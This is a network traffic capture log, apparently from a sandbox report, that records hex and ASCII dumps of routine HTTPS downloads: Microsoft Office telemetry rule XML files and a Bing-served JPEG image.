2024-12-06 17:45:54 UTC	16384	IN	Data Raw: c5 d3 ce e8 8a ce d9 c2 a8 50 3e 80 00 07 e0 29 b1 a8 dc 29 5c 6e 48 74 0a 47 35 62 34 ec 69 b0 ae 78 1d 2a cc 69 d2 93 67 2c e5 66 2a 0f 97 18 15 0d c8 cb 1a b8 89 9a 8e fe de 48 1c 2c b1 94 25 43 28 61 8c 8e c6 a4 9e 67 63 3c 8f 9b da 9c a2 a4 75 cf 5a 15 7e 5a a1 c6 44 0c 98 a6 32 76 ab 5b 73 da 98 c8 7c bd e7 ee e7 03 9a 68 d6 32 d4 a8 54 ee a6 32 7c b8 ab 25 06 ef c2 a3 75 21 a9 9d 0a 64 05 3e 5c 0e 9e 94 c2 9f 35 59 d9 4c 64 a0 1d 42 3d bf 37 35 62 05 fc a9 8a 98 e4 d5 ab 64 cd 26 73 d5 98 aa 83 68 c0 3d 39 a7 04 a9 82 7c bc d0 13 d4 54 1c 6e 64 25 30 b5 1e df 9b 15 73 67 cb 51 15 c3 53 44 f3 95 99 33 d2 a2 74 c3 55 dc 15 6c a9 2a 47 42 2a 16 5e f4 cb 8c ca 33 2f 63 55 64 4a d0 99 33 55 e4 5c d0 74 42 65 32 a3 bd 0c 59 db 73 92 cc 7b 9e b5 23 25 01 Data Ascii: P>))\nHtG5b4ixig,fH,%C(agc<uZ~ZD2v[s\|h2T2\|%u!d>\5YLdB=75bd&sh=9\|Tnd%0sgQSD3tUlGB^3/cUdJ3U\tBe2Ys{#%
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: 4f 0b 59 ed 07 f7 33 3e 63 9a ad 31 c5 6e 59 f8 73 5d be 99 63 8f 4d b9 40 dd 64 95 3c b4 1f 52 7f a5 5e b4 f8 7b af 4b 21 59 de c6 dd 3b 33 cc 64 27 f0 51 fd 6a 65 98 d1 86 f2 4b e6 7b d8 3e 1f cd 31 09 3a 74 25 6f 35 65 f7 bb 1c 74 c5 3c 9d db fe 6d d8 db 8e d8 eb 9a ad 24 73 b2 6f 58 64 28 7f 88 29 c7 e7 5e b3 61 f0 e3 48 85 d1 ae ae 26 b9 20 0c 80 02 2e ef 50 39 38 f6 26 b5 75 6b 31 69 62 96 56 0a 21 88 95 0a 00 0c 19 81 3f 78 60 96 04 75 c9 e8 3b 57 9f 3c fa 2e 71 84 15 ef fd 76 3e b3 2e e0 5c c2 b4 9a ad 25 05 6e f7 7e 9a 7f 99 e0 57 0c 55 b9 18 fa d5 59 e7 50 73 9a f6 8d 7f c0 5a 3e b3 6b 98 82 d9 dd 6d 39 68 f3 b0 b7 d3 a8 19 af 14 f1 6f 84 7c 63 a5 eb 12 58 9d 2e 6b 9d b8 2b 35 b8 2f 1c aa 7a 15 6f e9 d6 bb b0 b5 16 2d b8 ba 96 6b a1 9d 6e 15 cc Data Ascii: OY3>c1nYs]cM@d<R^{K!Y;3d'QjeK{>1:t%o5et<m$soXd()^aH& .P98&uk1ibV!?x`u;W<.qv>.\%n~WUYPsZ>km9ho\|cX.k+5/zo-kn
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: a1 04 11 f8 53 8b 8a e4 2f fc 05 1c 1a 8a de e8 5a 8c ba 6b a1 07 cb 03 7c 64 fd 33 9c 7b 57 41 6a 2f 52 15 5b 99 84 92 01 f3 32 02 aa 4f b0 24 e2 aa 8d 4a ae ea a4 2d e6 9d d3 fd 47 5b 0f 86 49 4a 8d 4b df a3 56 6b f4 fb 99 69 e4 c1 c0 a5 c1 db 92 0e 2a 11 0a cb c3 c6 18 1e b9 a7 c7 a7 da af 2b 00 c9 e7 b9 ad b9 99 83 e4 5b b2 65 1f 26 f2 38 f6 a7 bb c7 18 05 9e 31 c6 70 ce 01 fc 69 82 04 0b 8d 83 1e 98 a6 98 14 f1 b5 47 d1 45 2d 4c fd d7 bb 2b de eb 1a 5d b2 97 9f 52 b4 8c 0e b9 95 7f c6 b3 e2 f1 4f 87 ae 77 47 1e af 6c 49 3b 3e f9 52 49 e3 8c ff 00 3a af e2 8f 05 69 5a b3 2c 8f e6 5b b2 67 fd 4e 06 7e a0 8c 7e 55 42 7f 00 e8 32 c5 18 78 e5 0d 1a 04 2c 92 6d 2f 8e ec 00 c6 7d eb 8e 73 c6 73 35 18 c6 de ac f5 e8 51 cb 3d 9a 73 a9 2e 6f 24 b4 ff 00 33 56 Data Ascii: S/Zk\|d3{WAj/R[2O$J-G[IJKVki*+[e&81piGE-L+]ROwGlI;>RI:iZ,[gN~~UB2x,m/}ss5Q=s.o$3V
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: 3f 7d 63 24 91 9e a8 e8 47 1e c7 1c 56 5e d1 f6 3b 14 55 b7 d7 d4 72 dc 4a 92 14 48 f2 38 da 40 e3 de a4 79 a6 12 01 20 00 f1 d3 ae 3d ab 53 47 96 de ea d7 cc b5 d3 a3 18 38 60 c3 bf d4 f1 57 17 4e 46 02 59 2c a4 05 ba e6 41 f2 fe 98 fc ab 78 c5 b5 74 ce 4a 98 98 42 4d 4a 36 fb bf cc e7 d6 59 96 e6 45 03 e4 e8 bd 72 29 24 69 04 25 73 83 8e 19 88 ce 3b ff 00 fa eb 77 ec d6 cb 31 3f 60 95 80 e3 86 3b 7e b9 02 ad f9 f6 99 08 96 f6 eb 19 4c 6d c7 39 f5 e7 9a 56 f3 22 58 b4 ad 68 18 16 7a 5d d5 d4 7e 6a b1 8c 63 ef 39 e0 ff 00 8d 48 da 07 ef a2 73 7b 11 f2 f3 9f 90 d6 c6 a4 f2 34 2a 23 3b 70 31 b4 8e 00 f6 35 8b 35 c9 df b0 4b 1f fd f5 8a 99 72 ae 81 4e b5 6a 9a c5 d8 47 d2 36 f9 8c 2e 16 6d c7 85 29 c0 c7 4e bd 69 91 da 06 90 46 91 12 5b 82 01 c0 cd 48 f7 4b Data Ascii: ?}c$GV^;UrJH8@y =SG8`WNFY,AxtJBMJ6YEr)$i%s;w1?`;~Lm9V"Xhz]~jc9Hs{4*#;p155KrNjG6.m)NiF[HK
2024-12-06 17:45:54 UTC	16069	IN	Data Raw: f5 ea 73 8a cb 5d 52 d4 7c d3 6a b3 2a 8e cb 0b 67 f5 14 b2 6b 1a 40 52 3f b6 6e 99 b8 3c c4 14 7e a2 a5 d7 a7 df f1 ff 00 82 5d 3c 25 78 f4 bf fd bb ff 00 00 db 8a d6 e5 99 4a 5d cb 31 c7 2c b1 ae 33 ed 93 cd 2c d1 49 ca 4c 6e 79 c6 4e fc 03 f8 03 8a a1 6d ad e9 cb 18 f2 b5 97 8d 97 82 ed 12 12 7d 7e 83 b5 41 26 a5 6a 4a b2 6b 44 b0 27 3b a3 1b 4f b0 00 f6 fa d3 55 a1 d3 f3 21 61 eb 39 6a ad f2 7f e4 6b a5 ad ae e0 4f 9a c7 d9 8f e4 70 29 d3 59 c2 91 9d a8 04 9d 0b c9 0b 31 db e9 da b2 ad ee d6 59 b3 2e b0 19 32 08 0b 18 5e 3e bb ab 45 ef e1 2c 0a 6a 12 4a a0 63 0a 55 76 7b 75 ad 14 e2 cc a7 4e ac 64 b5 7f 8f f9 02 d9 b3 42 15 22 04 9e 4b 0b 75 50 4f b6 4f f3 a7 35 85 c5 db 62 49 a7 0a a0 fe e9 82 95 3e fd 72 3f 0a 20 b9 b7 48 c9 17 17 3f 31 1c b3 ae 07 Data Ascii: s]R\|j*gk@R?n<~]<%xJ]1,3,ILnyNm}~A&jJkD';OU!a9jkOp)Y1Y.2^>E,jJcUv{uNdB"KuPOO5bI>r? H?1
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: 23 19 e2 1b 66 7b 59 42 54 fe ed 7f ef 9f fe b5 41 2d 84 67 20 44 98 ad c5 11 26 7c c8 37 ff 00 c0 88 a6 c8 21 39 db 09 1e 9f 36 6a 3d 9a 7d 09 8e 26 4b a9 ce 36 95 6e 72 0c 6b cf 60 a3 fc 2a 23 a2 db 0c ec 86 31 ff 00 6c c5 74 8c 8a ca 40 88 fe 75 5a e2 27 3c 05 39 14 7d 5e 1d 8e 88 63 6a 3e a7 3c da 2a 17 07 ec b1 30 03 fe 79 81 8a 1b 47 40 b8 4b 78 f2 7d 63 e3 f4 ad af 2e 65 04 64 a8 35 1c a2 76 4d 85 f2 07 d7 fc 69 3a 11 ec 74 2c 5d 47 f6 8c b8 f4 58 c2 8c c4 a3 3e 8a 45 49 fd 8a bb 30 91 6d fa 01 fd 45 5d b6 b4 cf df 2e 72 7b 13 81 fa d5 83 6f 8c 01 9c 0f 7a 15 04 d6 c2 96 2a 69 fc 46 64 7a 20 90 80 e1 47 b8 50 0f e6 05 49 37 87 ed b9 2e 0b 1f f6 89 a9 20 b0 b9 fb 72 bb cc 7c b5 3f 73 1d 7e b5 af 71 69 6f f6 72 c8 70 e7 f8 73 92 3f 0a 5e c5 5b e1 26 Data Ascii: #f{YBTA-g D&\|7!96j=}&K6nrk`#1lt@uZ'<9}^cj><0yG@Kx}c.ed5vMi:t,]GX>EI0mE].r{oz*iFdz GPI7. r\|?s~qiorps?^[&
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: 30 a0 90 72 cc 09 fe b5 b1 6f e5 2f 02 af 0b 90 70 00 18 15 a7 2a 3e 77 11 99 62 25 b3 b0 dd 2f c3 d6 36 b1 a8 58 c0 00 63 a0 ae 8b 4e 10 5a e9 73 db c6 00 f3 4a 16 18 eb 83 91 58 f1 5c d4 f1 dc fb d4 4a 2a 4a cc f2 7e b5 5e 33 73 4f 53 ab f8 71 7d 0e 9b e2 e8 6f 27 50 23 da c8 dc 7a 8a eb 75 fd 67 4c f2 6e cd bc 71 33 4c 50 a8 0a 33 c1 c9 af 32 b5 b8 c6 0e 6a fc 77 24 af 5a e2 ad 81 a5 56 aa a8 f7 26 39 d6 3a 85 27 4a 2f 73 de 7c 13 ae 69 f7 de 1e 4b e9 4c 71 4a 92 32 b0 3d 47 3f e0 69 3c 5d ad e9 32 f8 7a f9 0c d1 c8 7c 82 15 7d 49 18 02 bc 42 0d 42 58 e3 f2 d2 46 0b 9c e0 13 8a 3e d8 ce a4 16 3c fb d7 91 fe ae d0 f6 fe d6 fd 6e 6f 2e 29 c6 fb 1f 66 e3 ad ad 72 a4 76 51 c7 2e 42 81 cd 5f 88 e1 71 50 ee cf 34 f5 6a fa 13 e5 e7 29 4b 72 65 50 69 ea 05 44 Data Ascii: 0ro/p>wb%/6XcNZsJX\JJ~^3sOSq}o'P#zugLnq3LP32jw$ZV&9:'J/s\|iKLqJ2=G?i<]2z\|}IBBXF><no.)frvQ.B_qP4j)KrePiD

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:53 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:54 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 859f66ca-901e-005b-0ccc-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174554Z-1746fd949bd2cq7chC1EWRnx9g000000046000000000d1ya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:54 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:54 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:54 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 310e98df-901e-00ac-099b-46b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174554Z-1746fd949bd6zq92hC1EWRry4800000004cg00000000vnz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:54 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49836	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:54 UTC	346	OUT	GET /th?id=OADD2.10239360172428_1P64HZ8YIC3KIBFKY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 17:45:54 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 604048 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C685CE4C9AED4163B57B483E31D73AE8 Ref B: EWR30EDGE0822 Ref C: 2024-12-06T17:45:54Z Date: Fri, 06 Dec 2024 17:45:53 GMT Connection: close
2024-12-06 17:45:54 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 34 32 3a 31 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:42:158C
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: eb 4a 59 6d cd 61 9e 24 8b 5e 54 1e b4 7d 8e 07 aa 7f bc a6 fe f2 b1 96 58 ef a1 b2 cf a2 ba 22 d4 9a 7f ee 69 9f 61 92 9f 05 cc 89 56 92 f3 f7 35 85 4c 15 68 ec 76 52 cd f0 d3 f8 b4 29 7d 99 fe e5 12 41 b3 e7 ad 28 e7 8d fe fd 3b f7 6f 58 3a 55 57 c4 8e a8 e2 b0 f2 5a 48 ce 8e 2a 77 94 f5 a5 e4 46 f4 7d 9a 3a cb 96 46 ca 70 6b 73 2e 48 bf 73 44 71 d6 a4 96 d4 47 6c 95 09 c9 23 4f 74 cb 91 2a 48 e0 dd 57 7c 88 e9 de 55 4c 8a 56 bb 32 fc aa 59 2d ab 47 ca a7 ed a1 4a 57 25 34 64 49 05 45 24 1b eb 67 ca 8d e9 9f 66 4f 36 ab da 4d 03 8d 39 33 27 c8 d9 4e f2 bf 73 8a d7 92 da 99 f6 6a 7f 58 7d 45 f5 75 d0 ce d9 51 4f 05 6a 7d 96 9b 25 9d 11 c4 5d 93 2a 2a c6 5f 91 4c f2 ab 53 ec df e7 34 47 07 f7 ea fe b0 4c 70 ec c8 92 0a 7f 91 5a 91 db 53 fc 88 ea 7e b2 ba Data Ascii: JYma$^T}X"iaV5LhvR)}A(;oX:UWZHwF}:Fpks.HsDqGl#OtHW\|ULV2Y-GJW%4dIE$gfO6M93'NsjX}EuQOj}%]**_LS4GLpZS~
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: de 1f dc 4d fb cf fa 6b 59 72 34 7e 76 f4 a9 e0 9e 78 be 78 6b 29 53 93 65 46 69 6e 45 3d b4 89 37 96 f4 c8 fe 4f bf 56 e0 d5 6e 22 9b f7 f0 c3 25 4f 0e a7 69 2c db 1e cf f7 92 54 5a 4b a1 6a 48 b5 e1 9b 19 de ee 3b a4 fb 95 bd e7 fe f7 e4 a9 fc d8 3f b3 e3 f2 7f e7 9f fa ba c4 fb 77 95 f7 eb 8d de 6c eb 8c bd 9a b1 3f 88 e2 f3 74 fd e9 ff 00 2c eb 27 4a b6 82 58 7c f7 ff 00 57 5a 33 cb 1d c7 97 ff 00 3c e4 ff 00 59 50 5d 59 fd 96 1f 21 3f d5 d5 46 e9 58 cd ce ee e6 5d f7 97 15 45 e6 fe eb 65 6a 6d 8e df ff 00 6a 56 74 fe 5f dc ad a2 ee 4b 93 64 29 53 47 14 6f 47 91 be a7 b5 8b 65 a7 fd 34 aa 25 ea c9 60 d3 3f e5 ba 4d 54 fc 47 14 91 79 7f b9 ff 00 59 57 e0 bc f2 a1 f9 ea a6 b1 73 1d dc 31 c6 9f f2 ce a1 29 5d 0d d8 9a de 2d f0 f9 89 4e 9e 5f b1 43 bd 3e Data Ascii: MkYr4~vxxk)SeFinE=7OVn"%Oi,TZKjH;?wl?t,'JX\|WZ3<YP]Y!?FX]EejmjVt_Kd)SGoGe4%`?MTGyYWs1)]-N_C>
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: 1c 9e 5c 9f f4 d3 75 68 6a b7 d7 16 fe 5b a7 93 fb bb 94 fd dc bf 7f fd da e7 71 bb 2b 9d 92 68 d3 c9 e7 7d a9 f4 18 63 93 fe 5d a4 8a 5f f5 9f f0 1a df f0 cd b7 d9 2d 24 44 86 1b 2f b4 49 e6 47 1c bf df a6 5f 6a 10 5a 78 9a da e9 34 d8 bc 88 ff 00 77 1c 7e 6f f1 d6 5e b0 ba b5 de a1 f6 d9 fc e8 e3 8e e7 f7 71 d1 cb 7d 36 34 e6 b6 a5 1f 18 c1 77 a5 43 26 a3 3e bd f6 27 b7 b9 f2 e3 8e 28 b7 bf 9b fd ea 2a f4 9a 86 f9 a4 b5 bd 87 ed 11 c9 1f fe 3f 45 57 2b 27 9a 27 75 aa e9 fa 13 cd e4 5d 79 36 57 5f f2 ce 4f f9 e9 ff 00 02 aa 5a 1e 87 ab 5d cd 24 76 b0 c3 a8 c1 1f ee ff 00 79 16 cf 33 fe 07 52 cf e2 3d 4e d2 1f df c3 f6 79 3f e7 a5 b5 a7 9d ff 00 d6 ac 8d 57 c7 fe 21 b4 f2 fe c5 e2 4b 4b df fa 76 93 44 48 5e 3a f0 ad 5f ec ea 7b 6f d9 76 35 e0 f0 e6 9b 71 Data Ascii: \uhj[q+h}c]_-$D/IG_jZx4w~o^q}64wC&>'(*?EW+''u]y6W_OZ]$vy3R=Ny?W!KKvDH^:_{ov5q
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: e7 5b c9 1f fd 35 ac 39 f5 7b fb b9 a3 ff 00 55 e6 54 d2 45 68 f0 ec bd 9b f7 9f f4 ca a3 ff 00 44 b4 fd fa 5e 7f ab ab 54 d5 8d 5c b4 23 9e 09 04 de 7d ec d0 c7 25 16 3e 65 dc df b8 86 1f 2e 3a 8d d7 5e d5 65 f2 13 fd 5d 6f 58 e9 f1 da da 7e ff 00 c9 b7 f2 ea cc cb 7a 3e a1 fd 85 f3 c1 fe 8f 75 ff 00 3d 2d a5 d9 57 ff 00 e1 23 d7 75 28 62 7b a9 bf b4 63 ff 00 a6 b1 25 63 c1 14 77 10 ec 78 69 9a 55 e7 d9 3c c4 b5 86 b2 9d 38 c9 dd 94 a4 d2 3b 1b ad 5e 38 ad 3c fb 5f 0a e8 9e 5c 7f f3 d6 d3 f7 df f8 f5 1a 57 c4 b8 12 d3 ec 5a 8f 86 e1 8e 3f f9 67 25 8d de c7 8f fe 03 5c 5e a5 3e a5 a8 7c f3 cd fb ca ab 06 99 3c b7 7f 3c 33 5e ff 00 d7 2a c1 e1 60 cd 55 59 1a 9a 97 89 7e c5 f6 9b af 3a 6b 8f f9 e7 1c bf 23 d6 5f 87 35 7d 6a e2 19 35 1b 5d 4a 6b 78 e4 ff 00 Data Ascii: [59{UTEhD^T\#}%>e.:^e]oX~z>u=-W#u(b{c%cwxiU<8;^8<_\WZ?g%\^>\|<<3^*`UY~:k#_5}j5]Jkx
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: 49 24 ff 00 96 71 7d ca ce fb 4d a5 a5 de f7 87 cb 9f fd 5f ef 68 fa b3 6f 50 95 54 ce d2 eb 4f bb d4 be 48 3f d5 ff 00 cf 4a e3 fc 7f a4 41 a7 c3 ff 00 4d 2b 52 d7 5a d5 9e 1f f4 29 bf 77 4d d4 96 4d 4f 50 df 3f ef 3f 76 9f bb aa 8c 1c 19 9b a8 9a 39 5f 0e 68 72 6a 77 72 6c fd dc 1f f3 d2 bb ef 0e 68 b6 9a 7d a4 68 90 ff 00 ab ff 00 96 95 6b c4 7a 54 16 9a 7c 6f 07 ee fc b8 ff 00 d5 d7 3f 6b 73 a9 45 0e c4 f3 a4 8f fe 79 cb 5b 27 73 36 74 53 ac 11 79 9e 7d 53 ba 82 0f 27 7a 4d 55 6d 6f a7 97 ef c3 34 74 5d 4b fe 89 5a 59 a3 1d 06 dd 45 22 43 e7 c1 79 e6 55 79 2f ae e2 97 63 fe f2 aa cf 2f fc f1 ab 16 b1 6a 57 1f b8 ba f3 a3 8e 9b 56 33 96 e4 f6 b7 30 3f cf fe ae 4a 7c 8d a6 cb 37 9f e4 cd e6 7f cf 3a 92 3d 32 d2 df fe 5b 4d 27 fd 34 a9 a0 8a 0f 3b e7 9b Data Ascii: I$q}M_hoPTOH?JAM+RZ)wMMOP??v9_hrjwrlh}hkzT\|o?ksEy['s6tSy}S'zMUmo4t]KZYE"CyUy/c/jWV30?J\|7:=2[M'4;
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: a4 5f dd ac 6f 11 db 47 e1 7f 01 6a 5a f4 1f bb ba b8 ff 00 44 b2 8f cd ff 00 59 bb f8 96 ba e9 c5 45 1c 95 2e d9 e3 7e 3c b9 b4 bb f1 35 ed d5 ac d0 fd 87 cd fd d4 95 de 7c 21 f0 f6 a5 71 a4 db 5e ea fa 6c d6 f6 31 dc f9 9a 6f 9b ff 00 2d 2b 13 e0 9e 83 69 ad 78 c2 4b ad 5e 19 a4 b5 d0 6c be d1 e5 ff 00 cf 4b 86 7f 97 76 ea f5 a4 9e d1 26 91 fe d9 77 24 9f f4 d2 ad 3b 98 cb e1 2a 68 6d 77 16 b9 73 75 3c 33 47 1f fc b3 96 8a d2 b1 d4 e0 d4 25 df 7b a9 7d 9e d6 3f f9 67 14 5f eb 28 aa b9 8d 88 b5 5b 4d 0a 59 a4 fb 2c d7 71 ff 00 d3 4a cd ba d2 ae ed 3f e5 b4 d7 09 25 6b 41 e1 7f 10 b4 3f e9 5a f7 fd b4 8a d1 2a d4 7e 1c bb 49 b7 dd 5e 5d dc 47 ff 00 5c 91 29 f2 9b 68 71 d3 ae b5 65 36 f4 9a ef c8 ff 00 9e 75 6a d7 c5 1a b2 43 b1 3f 77 ff 00 5c a2 ae f7 49 Data Ascii: _oGjZDYE.~<5\|!q^l1o-+ixK^lKv&w$;hmwsu<3G%{}?g_([MY,qJ?%kA?Z~I^]G\)hqe6ujC?w\I
2024-12-06 17:45:55 UTC	16067	IN	Data Raw: 1d 96 a5 fd 9d 25 c6 cf 2e 49 7f 7c 91 f9 9f 77 cc fe ed 5d 87 5f f1 9d ac db ff 00 b7 b5 09 3f eb e7 f7 df fa 12 d6 45 d6 a7 ad 6a d7 77 29 7d 34 32 79 9f bc 93 fd 11 3f f6 5a 98 d2 69 96 dd cd 6f 88 5e 1c f0 bf 86 b5 6b 6d 07 4b f1 54 da d5 f4 96 c9 25 ef ee 93 c9 8f fd d7 4a cc ba f0 9e ad e4 ef b5 b3 bb f2 ff 00 eb 96 ff 00 fd 06 a5 d2 b4 89 d2 d7 cb 82 f3 cb 83 fe 79 ff 00 05 64 5d 2d f5 95 dc 90 5a ea 57 76 51 ff 00 cf 3b 6b b7 4f fd 06 b7 8b 76 dc 89 46 ef 62 ed 8f 82 7c 4b a8 4d e4 59 68 3a 8d c4 9f f5 e9 b3 ff 00 1e 6a e9 60 f8 15 f1 09 ed 3e d5 a8 d9 e9 3a 54 7e 5f fa cb ed 43 ff 00 65 5a e6 b4 db ef 14 3f 96 89 e2 ad 73 cc ff 00 96 7f f1 30 7f dd d7 41 a6 e9 13 dd f9 73 eb d7 97 7a 8f fd 33 b9 bb 79 92 a2 75 25 17 b9 74 e9 46 5b a2 be b9 e1 3b Data Ascii: %.I\|w]_?Ejw)}42y?Zio^kmKT%Jyd]-ZWvQ;kOvFb\|KMYh:j`>:T~_CeZ?s0Asz3yu%tF[;
